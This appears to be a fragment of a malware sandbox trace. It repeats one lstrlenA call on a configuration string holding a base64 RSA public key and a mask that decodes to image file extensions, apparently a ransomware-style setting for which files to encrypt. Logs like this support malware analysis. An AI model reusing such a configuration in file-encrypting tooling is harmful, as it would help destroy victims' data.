	[0090.400] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.400] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.400] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.400] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.400] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.400] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.400] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.400] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.400] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.400] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.400] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.400] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.400] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.400] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.400] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.400] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.400] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.400] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.401] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.401] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.401] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.401] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.401] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.401] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.401] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.401] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.401] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.401] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.401] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.401] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.401] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.401] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.401] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.401] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.401] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.401] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
